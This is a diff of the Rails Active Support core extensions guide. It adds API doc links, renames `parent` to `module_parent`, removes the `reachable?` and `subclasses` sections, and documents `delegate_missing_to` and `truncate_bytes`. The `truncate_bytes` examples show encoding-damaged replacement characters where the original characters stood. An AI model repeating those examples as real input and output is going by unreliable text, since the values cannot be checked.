@@ -460,7 +464,7 @@ Active Support provides several methods to ease access to instance variables.
 
 #### `instance_values`
 
-The method `instance_values` returns a hash that maps instance variable names without "@" to their
+The method [`instance_values`][Object#instance_values] returns a hash that maps instance variable names without "@" to their
 corresponding values. Keys are strings:
 
 ```ruby
@@ -475,9 +479,11 @@ C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}
 
 NOTE: Defined in `active_support/core_ext/object/instance_variables.rb`.
 
+[Object#instance_values]: https://api.rubyonrails.org/classes/Object.html#method-i-instance_values
+
 #### `instance_variable_names`
 
-The method `instance_variable_names` returns an array. Each name includes the "@" sign.
+The method [`instance_variable_names`][Object#instance_variable_names] returns an array. Each name includes the "@" sign.
 
 ```ruby
 class C
@@ -491,15 +497,17 @@ C.new(0, 1).instance_variable_names # => ["@x", "@y"]
 
 NOTE: Defined in `active_support/core_ext/object/instance_variables.rb`.
 
+[Object#instance_variable_names]: https://api.rubyonrails.org/classes/Object.html#method-i-instance_variable_names
+
 ### Silencing Warnings and Exceptions
 
-The methods `silence_warnings` and `enable_warnings` change the value of `$VERBOSE` accordingly for the duration of their block, and reset it afterwards:
+The methods [`silence_warnings`][Kernel#silence_warnings] and [`enable_warnings`][Kernel#enable_warnings] change the value of `$VERBOSE` accordingly for the duration of their block, and reset it afterwards:
 
 ```ruby
 silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger }
 ```
 
-Silencing exceptions is also possible with `suppress`. This method receives an arbitrary number of exception classes. If an exception is raised during the execution of the block and is `kind_of?` any of the arguments, `suppress` captures it and returns silently. Otherwise the exception is not captured:
+Silencing exceptions is also possible with [`suppress`][Kernel#suppress]. This method receives an arbitrary number of exception classes. If an exception is raised during the execution of the block and is `kind_of?` any of the arguments, `suppress` captures it and returns silently. Otherwise the exception is not captured:
 
 ```ruby
 # If the user is locked, the increment is lost, no big deal.
@@ -510,14 +518,18 @@ end
 
 NOTE: Defined in `active_support/core_ext/kernel/reporting.rb`.
 
+[Kernel#enable_warnings]: https://api.rubyonrails.org/classes/Kernel.html#method-i-enable_warnings
+[Kernel#silence_warnings]: https://api.rubyonrails.org/classes/Kernel.html#method-i-silence_warnings
+[Kernel#suppress]: https://api.rubyonrails.org/classes/Kernel.html#method-i-suppress
+
 ### `in?`
 
-The predicate `in?` tests if an object is included in another object. An `ArgumentError` exception will be raised if the argument passed does not respond to `include?`.
+The predicate [`in?`][Object#in?] tests if an object is included in another object. An `ArgumentError` exception will be raised if the argument passed does not respond to `include?`.
 
 Examples of `in?`:
 
 ```ruby
-1.in?([1,2])        # => true
+1.in?([1, 2])        # => true
 "lo".in?("hello")   # => true
 25.in?(30..50)      # => false
 1.in?(1)            # => ArgumentError
@@ -525,6 +537,8 @@ Examples of `in?`:
 
 NOTE: Defined in `active_support/core_ext/object/inclusion.rb`.
 
+[Object#in?]: https://api.rubyonrails.org/classes/Object.html#method-i-in-3F
+
 Extensions to `Module`
 ----------------------
 
@@ -532,7 +546,7 @@ Extensions to `Module`
 
 #### `alias_attribute`
 
-Model attributes have a reader, a writer, and a predicate. You can alias a model attribute having the corresponding three methods defined for you in one shot. As in other aliasing methods, the new name is the first argument, and the old name is the second (one mnemonic is that they go in the same order as if you did an assignment):
+Model attributes have a reader, a writer, and a predicate. You can alias a model attribute having the corresponding three methods all defined for you by using [`alias_attribute`][Module#alias_attribute]. As in other aliasing methods, the new name is the first argument, and the old name is the second (one mnemonic is that they go in the same order as if you did an assignment):
 
 ```ruby
 class User < ApplicationRecord
@@ -544,13 +558,15 @@ end
 
 NOTE: Defined in `active_support/core_ext/module/aliasing.rb`.
 
+[Module#alias_attribute]: https://api.rubyonrails.org/classes/Module.html#method-i-alias_attribute
+
 #### Internal Attributes
 
 When you are defining an attribute in a class that is meant to be subclassed, name collisions are a risk. That's remarkably important for libraries.
 
-Active Support defines the macros `attr_internal_reader`, `attr_internal_writer`, and `attr_internal_accessor`. They behave like their Ruby built-in `attr_*` counterparts, except they name the underlying instance variable in a way that makes collisions less likely.
+Active Support defines the macros [`attr_internal_reader`][Module#attr_internal_reader], [`attr_internal_writer`][Module#attr_internal_writer], and [`attr_internal_accessor`][Module#attr_internal_accessor]. They behave like their Ruby built-in `attr_*` counterparts, except they name the underlying instance variable in a way that makes collisions less likely.
 
-The macro `attr_internal` is a synonym for `attr_internal_accessor`:
+The macro [`attr_internal`][Module#attr_internal] is a synonym for `attr_internal_accessor`:
 
 ```ruby
 # library
@@ -582,36 +598,34 @@ end
 
 NOTE: Defined in `active_support/core_ext/module/attr_internal.rb`.
 
+[Module#attr_internal]: https://api.rubyonrails.org/classes/Module.html#method-i-attr_internal
+[Module#attr_internal_accessor]: https://api.rubyonrails.org/classes/Module.html#method-i-attr_internal_accessor
+[Module#attr_internal_reader]: https://api.rubyonrails.org/classes/Module.html#method-i-attr_internal_reader
+[Module#attr_internal_writer]: https://api.rubyonrails.org/classes/Module.html#method-i-attr_internal_writer
+
 #### Module Attributes
 
-The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are the same as the `cattr_*` macros defined for class. In fact, the `cattr_*` macros are just aliases for the `mattr_*` macros. Check [Class Attributes](#class-attributes).
+The macros [`mattr_reader`][Module#mattr_reader], [`mattr_writer`][Module#mattr_writer], and [`mattr_accessor`][Module#mattr_accessor] are the same as the `cattr_*` macros defined for class. In fact, the `cattr_*` macros are just aliases for the `mattr_*` macros. Check [Class Attributes](#class-attributes).
 
-For example, the dependencies mechanism uses them:
+For example, the API for the logger of Active Storage is generated with `mattr_accessor`:
 
 ```ruby
-module ActiveSupport
-  module Dependencies
-    mattr_accessor :warnings_on_first_load
-    mattr_accessor :history
-    mattr_accessor :loaded
-    mattr_accessor :mechanism
-    mattr_accessor :load_paths
-    mattr_accessor :load_once_paths
-    mattr_accessor :autoloaded_constants
-    mattr_accessor :explicitly_unloadable_constants
-    mattr_accessor :constant_watch_stack
-    mattr_accessor :constant_watch_stack_mutex
-  end
+module ActiveStorage
+  mattr_accessor :logger
 end
 ```
 
 NOTE: Defined in `active_support/core_ext/module/attribute_accessors.rb`.
 
+[Module#mattr_accessor]: https://api.rubyonrails.org/classes/Module.html#method-i-mattr_accessor
+[Module#mattr_reader]: https://api.rubyonrails.org/classes/Module.html#method-i-mattr_reader
+[Module#mattr_writer]: https://api.rubyonrails.org/classes/Module.html#method-i-mattr_writer
+
 ### Parents
 
-#### `parent`
+#### `module_parent`
 
-The `parent` method on a nested named module returns the module that contains its corresponding constant:
+The [`module_parent`][Module#module_parent] method on a nested named module returns the module that contains its corresponding constant:
 
 ```ruby
 module X
@@ -622,19 +636,21 @@ module X
 end
 M = X::Y::Z
 
-X::Y::Z.parent # => X::Y
-M.parent       # => X::Y
+X::Y::Z.module_parent # => X::Y
+M.module_parent       # => X::Y
 ```
 
-If the module is anonymous or belongs to the top-level, `parent` returns `Object`.
+If the module is anonymous or belongs to the top-level, `module_parent` returns `Object`.
 
-WARNING: Note that in that case `parent_name` returns `nil`.
+WARNING: Note that in that case `module_parent_name` returns `nil`.
 
 NOTE: Defined in `active_support/core_ext/module/introspection.rb`.
 
-#### `parent_name`
+[Module#module_parent]: https://api.rubyonrails.org/classes/Module.html#method-i-module_parent
 
-The `parent_name` method on a nested named module returns the fully-qualified name of the module that contains its corresponding constant:
+#### `module_parent_name`
+
+The [`module_parent_name`][Module#module_parent_name] method on a nested named module returns the fully qualified name of the module that contains its corresponding constant:
 
 ```ruby
 module X
@@ -645,19 +661,21 @@ module X
 end
 M = X::Y::Z
 
-X::Y::Z.parent_name # => "X::Y"
-M.parent_name       # => "X::Y"
+X::Y::Z.module_parent_name # => "X::Y"
+M.module_parent_name       # => "X::Y"
 ```
 
-For top-level or anonymous modules `parent_name` returns `nil`.
+For top-level or anonymous modules `module_parent_name` returns `nil`.
 
-WARNING: Note that in that case `parent` returns `Object`.
+WARNING: Note that in that case `module_parent` returns `Object`.
 
 NOTE: Defined in `active_support/core_ext/module/introspection.rb`.
 
-#### `parents`
+[Module#module_parent_name]: https://api.rubyonrails.org/classes/Module.html#method-i-module_parent_name
+
+#### `module_parents`
 
-The method `parents` calls `parent` on the receiver and upwards until `Object` is reached. The chain is returned in an array, from bottom to top:
+The method [`module_parents`][Module#module_parents] calls `module_parent` on the receiver and upwards until `Object` is reached. The chain is returned in an array, from bottom to top:
 
 ```ruby
 module X
@@ -668,49 +686,13 @@ module X
 end
 M = X::Y::Z
 
-X::Y::Z.parents # => [X::Y, X, Object]
-M.parents       # => [X::Y, X, Object]
+X::Y::Z.module_parents # => [X::Y, X, Object]
+M.module_parents       # => [X::Y, X, Object]
 ```
 
 NOTE: Defined in `active_support/core_ext/module/introspection.rb`.
 
-### Reachable
-
-A named module is reachable if it is stored in its corresponding constant. It means you can reach the module object via the constant.
-
-That is what ordinarily happens, if a module is called "M", the `M` constant exists and holds it:
-
-```ruby
-module M
-end
-
-M.reachable? # => true
-```
-
-But since constants and modules are indeed kind of decoupled, module objects can become unreachable:
-
-```ruby
-module M
-end
-
-orphan = Object.send(:remove_const, :M)
-
-# The module object is orphan now but it still has a name.
-orphan.name # => "M"
-
-# You cannot reach it via the constant M because it does not even exist.
-orphan.reachable? # => false
-
-# Let's define a module called "M" again.
-module M
-end
-
-# The constant M exists now again, and it stores a module
-# object called "M", but it is a new instance.
-orphan.reachable? # => false
-```
-
-NOTE: Defined in `active_support/core_ext/module/reachable.rb`.
+[Module#module_parents]: https://api.rubyonrails.org/classes/Module.html#method-i-module_parents
 
 ### Anonymous
 
@@ -727,7 +709,7 @@ N.name # => "N"
 Module.new.name # => nil
 ```
 
-You can check whether a module has a name with the predicate `anonymous?`:
+You can check whether a module has a name with the predicate [`anonymous?`][Module#anonymous?]:
 
 ```ruby
 module M
@@ -745,7 +727,6 @@ end
 
 m = Object.send(:remove_const, :M)
 
-m.reachable? # => false
 m.anonymous? # => false
 ```
 
@@ -753,9 +734,13 @@ though an anonymous module is unreachable by definition.
 
 NOTE: Defined in `active_support/core_ext/module/anonymous.rb`.
 
+[Module#anonymous?]: https://api.rubyonrails.org/classes/Module.html#method-i-anonymous-3F
+
 ### Method Delegation
 
-The macro `delegate` offers an easy way to forward methods.
+#### `delegate`
+
+The macro [`delegate`][Module#delegate] offers an easy way to forward methods.
 
 Let's imagine that users in some application have login information in the `User` model but name and other data in a separate `Profile` model:
 
@@ -835,15 +820,53 @@ delegate :size, to: :attachment, prefix: :avatar
 
 In the previous example the macro generates `avatar_size` rather than `size`.
 
+The option `:private` changes methods scope:
+
+```ruby
+delegate :date_of_birth, to: :profile, private: true
+```
+
+The delegated methods are public by default. Pass `private: true` to change that.
+
 NOTE: Defined in `active_support/core_ext/module/delegation.rb`
 
+[Module#delegate]: https://api.rubyonrails.org/classes/Module.html#method-i-delegate
+
+#### `delegate_missing_to`
+
+Imagine you would like to delegate everything missing from the `User` object,
+to the `Profile` one. The [`delegate_missing_to`][Module#delegate_missing_to] macro lets you implement this
+in a breeze:
+
+```ruby
+class User < ApplicationRecord
+  has_one :profile
+
+  delegate_missing_to :profile
+end
+```
+
+The target can be anything callable within the object, e.g. instance variables,
+methods, constants, etc. Only the public methods of the target are delegated.
+
+NOTE: Defined in `active_support/core_ext/module/delegation.rb`.
+
+[Module#delegate_missing_to]: https://api.rubyonrails.org/classes/Module.html#method-i-delegate_missing_to
+
 ### Redefining Methods
 
 There are cases where you need to define a method with `define_method`, but don't know whether a method with that name already exists. If it does, a warning is issued if they are enabled. No big deal, but not clean either.
 
-The method `redefine_method` prevents such a potential warning, removing the existing method before if needed.
+The method [`redefine_method`][Module#redefine_method] prevents such a potential warning, removing the existing method before if needed.
 
-NOTE: Defined in `active_support/core_ext/module/remove_method.rb`
+You can also use [`silence_redefinition_of_method`][Module#silence_redefinition_of_method] if you need to define
+the replacement method yourself (because you're using `delegate`, for
+example).
+
+NOTE: Defined in `active_support/core_ext/module/redefine_method.rb`.
+
+[Module#redefine_method]: https://api.rubyonrails.org/classes/Module.html#method-i-redefine_method
+[Module#silence_redefinition_of_method]: https://api.rubyonrails.org/classes/Module.html#method-i-silence_redefinition_of_method
 
 Extensions to `Class`
 ---------------------
@@ -852,7 +875,7 @@ Extensions to `Class`
 
 #### `class_attribute`
 
-The method `class_attribute` declares one or more inheritable class attributes that can be overridden at any level down the hierarchy.
+The method [`class_attribute`][Class#class_attribute] declares one or more inheritable class attributes that can be overridden at any level down the hierarchy.
 
 ```ruby
 class A
@@ -906,8 +929,7 @@ The generation of the writer instance method can be prevented by setting the opt
 ```ruby
 module ActiveRecord
   class Base
-    class_attribute :table_name_prefix, instance_writer: false
-    self.table_name_prefix = ""
+    class_attribute :table_name_prefix, instance_writer: false, default: "my"
   end
 end
 ```
@@ -931,40 +953,46 @@ When `:instance_reader` is `false`, the instance predicate returns a `NoMethodEr
 
 If you do not want the instance predicate, pass `instance_predicate: false` and it will not be defined.
 
-NOTE: Defined in `active_support/core_ext/class/attribute.rb`
+NOTE: Defined in `active_support/core_ext/class/attribute.rb`.
+
+[Class#class_attribute]: https://api.rubyonrails.org/classes/Class.html#method-i-class_attribute
 
 #### `cattr_reader`, `cattr_writer`, and `cattr_accessor`
 
-The macros `cattr_reader`, `cattr_writer`, and `cattr_accessor` are analogous to their `attr_*` counterparts but for classes. They initialize a class variable to `nil` unless it already exists, and generate the corresponding class methods to access it:
+The macros [`cattr_reader`][Module#cattr_reader], [`cattr_writer`][Module#cattr_writer], and [`cattr_accessor`][Module#cattr_accessor] are analogous to their `attr_*` counterparts but for classes. They initialize a class variable to `nil` unless it already exists, and generate the corresponding class methods to access it:
 
 ```ruby
 class MysqlAdapter < AbstractAdapter
   # Generates class methods to access @@emulate_booleans.
   cattr_accessor :emulate_booleans
-  self.emulate_booleans = true
 end
 ```
 
-Instance methods are created as well for convenience, they are just proxies to the class attribute. So, instances can change the class attribute, but cannot override it as it happens with `class_attribute` (see above). For example given
+Also, you can pass a block to `cattr_*` to set up the attribute with a default value:
 
 ```ruby
-module ActionView
-  class Base
-    cattr_accessor :field_error_proc
-    @@field_error_proc = Proc.new{ ... }
-  end
+class MysqlAdapter < AbstractAdapter
+  # Generates class methods to access @@emulate_booleans with default value of true.
+  cattr_accessor :emulate_booleans, default: true
 end
 ```
 
-we can access `field_error_proc` in views.
+Instance methods are also created for convenience, but they are simply proxies to the internal value which is shared among the class. As a result, when an instance modifies the value, this affects the entire class hierarchy. This behavior is different than `class_attribute` (see above).
 
-Also, you can pass a block to `cattr_*` to set up the attribute with a default value:
+For example:
 
 ```ruby
-class MysqlAdapter < AbstractAdapter
-  # Generates class methods to access @@emulate_booleans with default value of true.
-  cattr_accessor(:emulate_booleans) { true }
+class Foo
+  cattr_accessor :bar
 end
+
+instance = Foo.new
+
+Foo.bar = 1
+instance.bar # => 1
+
+instance.bar = 2
+Foo.bar # => 2
 ```
 
 The generation of the reader instance method can be prevented by setting `:instance_reader` to `false` and the generation of the writer instance method can be prevented by setting `:instance_writer` to `false`. Generation of both methods can be prevented by setting `:instance_accessor` to `false`. In all cases, the value must be exactly `false` and not any false value.
@@ -986,33 +1014,15 @@ A model may find it useful to set `:instance_accessor` to `false` as a way to pr
 
 NOTE: Defined in `active_support/core_ext/module/attribute_accessors.rb`.
 
-### Subclasses & Descendants
-
-#### `subclasses`
+[Module#cattr_accessor]: https://api.rubyonrails.org/classes/Module.html#method-i-cattr_accessor
+[Module#cattr_reader]: https://api.rubyonrails.org/classes/Module.html#method-i-cattr_reader
+[Module#cattr_writer]: https://api.rubyonrails.org/classes/Module.html#method-i-cattr_writer
 
-The `subclasses` method returns the subclasses of the receiver:
-
-```ruby
-class C; end
-C.subclasses # => []
-
-class B < C; end
-C.subclasses # => [B]
-
-class A < B; end
-C.subclasses # => [B]
-
-class D < C; end
-C.subclasses # => [B, D]
-```
-
-The order in which these classes are returned is unspecified.
-
-NOTE: Defined in `active_support/core_ext/class/subclasses.rb`.
+### Descendants
 
 #### `descendants`
 
-The `descendants` method returns all classes that are `<` than its receiver:
+The [`descendants`][Class#descendants] method returns all classes that are `<` than its receiver:
 
 ```ruby
 class C; end
@@ -1032,6 +1042,8 @@ The order in which these classes are returned is unspecified.
 
 NOTE: Defined in `active_support/core_ext/class/subclasses.rb`.
 
+[Class#descendants]: https://api.rubyonrails.org/classes/Class.html#method-i-descendants
+
 Extensions to `String`
 ----------------------
 
@@ -1051,7 +1063,7 @@ Strings are considered to be _unsafe_ by default:
 "".html_safe? # => false
 ```
 
-You can obtain a safe string from a given one with the `html_safe` method:
+You can obtain a safe string from a given one with the [`html_safe`][String#html_safe] method:
 
 ```ruby
 s = "".html_safe
@@ -1086,7 +1098,7 @@ These methods should not be used in ordinary views. Unsafe values are automatica
 <%= @review.title %> <%# fine, escaped if needed %>
 ```
 
-To insert something verbatim use the `raw` helper rather than calling `html_safe`:
+To insert something verbatim use the [`raw`][] helper rather than calling `html_safe`:
 
 ```erb
 <%= raw @cms.current_template %> <%# inserts @cms.current_template as is %>
@@ -1108,6 +1120,9 @@ end
 
 NOTE: Defined in `active_support/core_ext/string/output_safety.rb`.
 
+[`raw`]: https://api.rubyonrails.org/classes/ActionView/Helpers/OutputSafetyHelper.html#method-i-raw
+[String#html_safe]: https://api.rubyonrails.org/classes/String.html#method-i-html_safe
+
 #### Transformation
 
 As a rule of thumb, except perhaps for concatenation as explained above, any method that may change a string gives you an unsafe string. These are `downcase`, `gsub`, `strip`, `chomp`, `underscore`, etc.
@@ -1126,7 +1141,7 @@ Calling `dup` or `clone` on safe strings yields safe strings.
 
 ### `remove`
 
-The method `remove` will remove all occurrences of the pattern:
+The method [`remove`][String#remove] will remove all occurrences of the pattern:
 
 ```ruby
 "Hello World".remove(/Hello /) # => "World"
@@ -1136,9 +1151,11 @@ There's also the destructive version `String#remove!`.
 
 NOTE: Defined in `active_support/core_ext/string/filters.rb`.
 
+[String#remove]: https://api.rubyonrails.org/classes/String.html#method-i-remove
+
 ### `squish`
 
-The method `squish` strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each:
+The method [`squish`][String#squish] strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each:
 
 ```ruby
 " \n  foo\n\r \t bar \n".squish # => "foo bar"
@@ -1150,9 +1167,11 @@ Note that it handles both ASCII and Unicode whitespace.
 
 NOTE: Defined in `active_support/core_ext/string/filters.rb`.
 
+[String#squish]: https://api.rubyonrails.org/classes/String.html#method-i-squish
+
 ### `truncate`
 
-The method `truncate` returns a copy of its receiver truncated after a given `length`:
+The method [`truncate`][String#truncate] returns a copy of its receiver truncated after a given `length`:
 
 ```ruby
 "Oh dear! Oh dear! I shall be late!".truncate(20)
@@ -1162,7 +1181,7 @@ The method `truncate` returns a copy of its receiver truncated after a given `le
 Ellipsis can be customized with the `:omission` option:
 
 ```ruby
-"Oh dear! Oh dear! I shall be late!".truncate(20, omission: '&hellip;')
+"Oh dear! Oh dear! I shall be late!".truncate(20, omission: "&hellip;")
 # => "Oh dear! Oh &hellip;"
 ```
 
@@ -1173,7 +1192,7 @@ Pass a `:separator` to truncate the string at a natural break:
 ```ruby
 "Oh dear! Oh dear! I shall be late!".truncate(18)
 # => "Oh dear! Oh dea..."
-"Oh dear! Oh dear! I shall be late!".truncate(18, separator: ' ')
+"Oh dear! Oh dear! I shall be late!".truncate(18, separator: " ")
 # => "Oh dear! Oh..."
 ```
 
@@ -1188,9 +1207,31 @@ In above examples "dear" gets cut first, but then `:separator` prevents it.
 
 NOTE: Defined in `active_support/core_ext/string/filters.rb`.
 
+[String#truncate]: https://api.rubyonrails.org/classes/String.html#method-i-truncate
+
+### `truncate_bytes`
+
+The method [`truncate_bytes`][String#truncate_bytes] returns a copy of its receiver truncated to at most `bytesize` bytes:
+
+```ruby
+"����".truncate_bytes(15)
+# => "���…"
+```
+
+Ellipsis can be customized with the `:omission` option:
+
+```ruby
+"����".truncate_bytes(15, omission: "🖖")
+# => "��🖖"
+```
+
+NOTE: Defined in `active_support/core_ext/string/filters.rb`.
+
+[String#truncate_bytes]: https://api.rubyonrails.org/classes/String.html#method-i-truncate_bytes
+
 ### `truncate_words`
 
-The method `truncate_words` returns a copy of its receiver truncated after a given number of words:
+The method [`truncate_words`][String#truncate_words] returns a copy of its receiver truncated after a given number of words:
 
 ```ruby
 "Oh dear! Oh dear! I shall be late!".truncate_words(4)
@@ -1200,14 +1241,14 @@ The method `truncate_words` returns a copy of its receiver truncated after a giv
 Ellipsis can be customized with the `:omission` option:
 
 ```ruby
-"Oh dear! Oh dear! I shall be late!".truncate_words(4, omission: '&hellip;')
+"Oh dear! Oh dear! I shall be late!".truncate_words(4, omission: "&hellip;")
 # => "Oh dear! Oh dear!&hellip;"
 ```
 
 Pass a `:separator` to truncate the string at a natural break:
 
 ```ruby
-"Oh dear! Oh dear! I shall be late!".truncate_words(3, separator: '!')
+"Oh dear! Oh dear! I shall be late!".truncate_words(3, separator: "!")
 # => "Oh dear! Oh dear! I shall be late..."
 ```
 
@@ -1220,15 +1261,21 @@ The option `:separator` can be a regexp:
 
 NOTE: Defined in `active_support/core_ext/string/filters.rb`.
 
+[String#truncate_words]: https://api.rubyonrails.org/classes/String.html#method-i-truncate_words
+
 ### `inquiry`
 
-The `inquiry` method converts a string into a `StringInquirer` object making equality checks prettier.
+The [`inquiry`][String#inquiry] method converts a string into a `StringInquirer` object making equality checks prettier.
 
 ```ruby
 "production".inquiry.production? # => true
 "active".inquiry.inactive?       # => false
 ```
 
+NOTE: Defined in `active_support/core_ext/string/inquiry.rb`.
+
+[String#inquiry]: https://api.rubyonrails.org/classes/String.html#method-i-inquiry
+
 ### `starts_with?` and `ends_with?`
 
 Active Support defines 3rd person aliases of `String#start_with?` and `String#end_with?`:
@@ -1242,7 +1289,7 @@ NOTE: Defined in `active_support/core_ext/string/starts_ends_with.rb`.
 
 ### `strip_heredoc`
 
-The method `strip_heredoc` strips indentation in heredocs.
+The method [`strip_heredoc`][String#strip_heredoc] strips indentation in heredocs.
 
 For example in
 
@@ -1265,9 +1312,11 @@ that amount of leading whitespace.
 
 NOTE: Defined in `active_support/core_ext/string/strip.rb`.
 
+[String#strip_heredoc]: https://api.rubyonrails.org/classes/String.html#method-i-strip_heredoc
+
 ### `indent`
 
-Indents the lines in the receiver:
+The [`indent`][String#indent] method indents the lines in the receiver:
 
 ```ruby
 <<EOS.indent(2)
@@ -1298,15 +1347,18 @@ The third argument, `indent_empty_lines`, is a flag that says whether empty line
 "foo\n\nbar".indent(2, nil, true) # => "  foo\n  \n  bar"
 ```
 
-The `indent!` method performs indentation in-place.
+The [`indent!`][String#indent!] method performs indentation in-place.
 
 NOTE: Defined in `active_support/core_ext/string/indent.rb`.
 
+[String#indent!]: https://api.rubyonrails.org/classes/String.html#method-i-indent-21
+[String#indent]: https://api.rubyonrails.org/classes/String.html#method-i-indent
+
 ### Access
 
 #### `at(position)`
 
-Returns the character of the string at position `position`:
+The [`at`][String#at] method returns the character of the string at position `position`:
 
 ```ruby
 "hello".at(0)  # => "h"
@@ -1317,9 +1369,11 @@ Returns the character of the string at position `position`:
 
 NOTE: Defined in `active_support/core_ext/string/access.rb`.
 
+[String#at]: https://api.rubyonrails.org/classes/String.html#method-i-at
+
 #### `from(position)`
 
-Returns the substring of the string starting at position `position`:
+The [`from`][String#from] method returns the substring of the string starting at position `position`:
 
 ```ruby
 "hello".from(0)  # => "hello"
@@ -1330,9 +1384,11 @@ Returns the substring of the string starting at position `position`:
 
 NOTE: Defined in `active_support/core_ext/string/access.rb`.
 
+[String#from]: https://api.rubyonrails.org/classes/String.html#method-i-from
+
 #### `to(position)`
 
-Returns the substring of the string up to position `position`:
+The [`to`][String#to] method returns the substring of the string up to position `position`:
 
 ```ruby
 "hello".to(0)  # => "h"
@@ -1343,23 +1399,33 @@ Returns the substring of the string up to position `position`:
 
 NOTE: Defined in `active_support/core_ext/string/access.rb`.
 
+[String#to]: https://api.rubyonrails.org/classes/String.html#method-i-to
+
 #### `first(limit = 1)`
 
+The [`first`][String#first] method returns a substring containing the first `limit` characters of the string.
+
 The call `str.first(n)` is equivalent to `str.to(n-1)` if `n` > 0, and returns an empty string for `n` == 0.
 
 NOTE: Defined in `active_support/core_ext/string/access.rb`.
 
+[String#first]: https://api.rubyonrails.org/classes/String.html#method-i-first
+
 #### `last(limit = 1)`
 
+The [`last`][String#last] method returns a substring containing the last `limit` characters of the string.
+
 The call `str.last(n)` is equivalent to `str.from(-n)` if `n` > 0, and returns an empty string for `n` == 0.
 
 NOTE: Defined in `active_support/core_ext/string/access.rb`.
 
+[String#last]: https://api.rubyonrails.org/classes/String.html#method-i-last
+
 ### Inflections
 
 #### `pluralize`
 
-The method `pluralize` returns the plural of its receiver:
+The method [`pluralize`][String#pluralize] returns the plural of its receiver:
 
 ```ruby
 "table".pluralize     # => "tables"
@@ -1367,7 +1433,7 @@ The method `pluralize` returns the plural of its receiver:
 "equipment".pluralize # => "equipment"
 ```
 
-As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in `config/initializers/inflections.rb`. That file is generated by the `rails` command and has instructions in comments.
+As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in `config/initializers/inflections.rb`. This file is generated by default, by the `rails new` command and has instructions in comments.
 
 `pluralize` can also take an optional `count` parameter. If `count == 1` the singular form will be returned. For any other value of `count` the plural form will be returned:
 
@@ -1381,17 +1447,19 @@ Active Record uses this method to compute the default table name that correspond
 
 ```ruby
 # active_record/model_schema.rb
-def undecorated_table_name(class_name = base_class.name)
-  table_name = class_name.to_s.demodulize.underscore
+def undecorated_table_name(model_name)
+  table_name = model_name.to_s.demodulize.underscore
   pluralize_table_names ? table_name.pluralize : table_name
 end
 ```
 
 NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
 
+[String#pluralize]: https://api.rubyonrails.org/classes/String.html#method-i-pluralize
+
 #### `singularize`
 
-The inverse of `pluralize`:
+The [`singularize`][String#singularize] method is the inverse of `pluralize`:
 
 ```ruby
 "tables".singularize    # => "table"
@@ -1412,9 +1480,11 @@ end
 
 NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
 
+[String#singularize]: https://api.rubyonrails.org/classes/String.html#method-i-singularize
+
 #### `camelize`
 
-The method `camelize` returns its receiver in camel case:
+The method [`camelize`][String#camelize] returns its receiver in camel case:
 
 ```ruby
 "product".camelize    # => "Product"
@@ -1450,19 +1520,22 @@ INFO: As a rule of thumb you can think of `camelize` as the inverse of `undersco
 
 ```ruby
 ActiveSupport::Inflector.inflections do |inflect|
-  inflect.acronym 'SSL'
+  inflect.acronym "SSL"
 end
 
 "SSLError".underscore.camelize # => "SSLError"
 ```
 
-`camelize` is aliased to `camelcase`.
+`camelize` is aliased to [`camelcase`][String#camelcase].
 
 NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
 
+[String#camelcase]: https://api.rubyonrails.org/classes/String.html#method-i-camelcase
+[String#camelize]: https://api.rubyonrails.org/classes/String.html#method-i-camelize
+
 #### `underscore`
 
-The method `underscore` goes the other way around, from camel case to paths:
+The method [`underscore`][String#underscore] goes the other way around, from camel case to paths:
 
 ```ruby
 "Product".underscore   # => "product"
@@ -1483,38 +1556,42 @@ and understands strings that start with lowercase:
 
 `underscore` accepts no argument though.
 
-Rails class and module autoloading uses `underscore` to infer the relative path without extension of a file that would define a given missing constant:
+Rails uses `underscore` to get a lowercased name for controller classes:
 
 ```ruby
-# active_support/dependencies.rb
-def load_missing_constant(from_mod, const_name)
-  ...
-  qualified_name = qualified_name_for from_mod, const_name
-  path_suffix = qualified_name.underscore
-  ...
+# actionpack/lib/abstract_controller/base.rb
+def controller_path
+  @controller_path ||= name.delete_suffix("Controller").underscore
 end
 ```
 
+For example, that value is the one you get in `params[:controller]`.
+
 INFO: As a rule of thumb you can think of `underscore` as the inverse of `camelize`, though there are cases where that does not hold. For example, `"SSLError".underscore.camelize` gives back `"SslError"`.
 
 NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
 
+[String#underscore]: https://api.rubyonrails.org/classes/String.html#method-i-underscore
+
 #### `titleize`
 
-The method `titleize` capitalizes the words in the receiver:
+The method [`titleize`][String#titleize] capitalizes the words in the receiver:
 
 ```ruby
 "alice in wonderland".titleize # => "Alice In Wonderland"
 "fermat's enigma".titleize     # => "Fermat's Enigma"
 ```
 
-`titleize` is aliased to `titlecase`.
+`titleize` is aliased to [`titlecase`][String#titlecase].
 
 NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
 
+[String#titlecase]: https://api.rubyonrails.org/classes/String.html#method-i-titlecase
+[String#titleize]: https://api.rubyonrails.org/classes/String.html#method-i-titleize
+
 #### `dasherize`
 
-The method `dasherize` replaces the underscores in the receiver with dashes:
+The method [`dasherize`][String#dasherize] replaces the underscores in the receiver with dashes:
 
 ```ruby
 "name".dasherize         # => "name"
@@ -1533,9 +1610,11 @@ end
 
 NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
 
+[String#dasherize]: https://api.rubyonrails.org/classes/String.html#method-i-dasherize
+
 #### `demodulize`
 
-Given a string with a qualified constant name, `demodulize` returns the very constant name, that is, the rightmost part of it:
+Given a string with a qualified constant name, [`demodulize`][String#demodulize] returns the very constant name, that is, the rightmost part of it:
 
 ```ruby
 "Product".demodulize                        # => "Product"
@@ -1543,7 +1622,6 @@ Given a string with a qualified constant name, `demodulize` returns the very con
 "Admin::Hotel::ReservationUtils".demodulize # => "ReservationUtils"
 "::Inflections".demodulize                  # => "Inflections"
 "".demodulize                               # => ""
-
 ```
 
 Active Record for example uses this method to compute the name of a counter cache column:
@@ -1561,9 +1639,11 @@ end
 
 NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
 
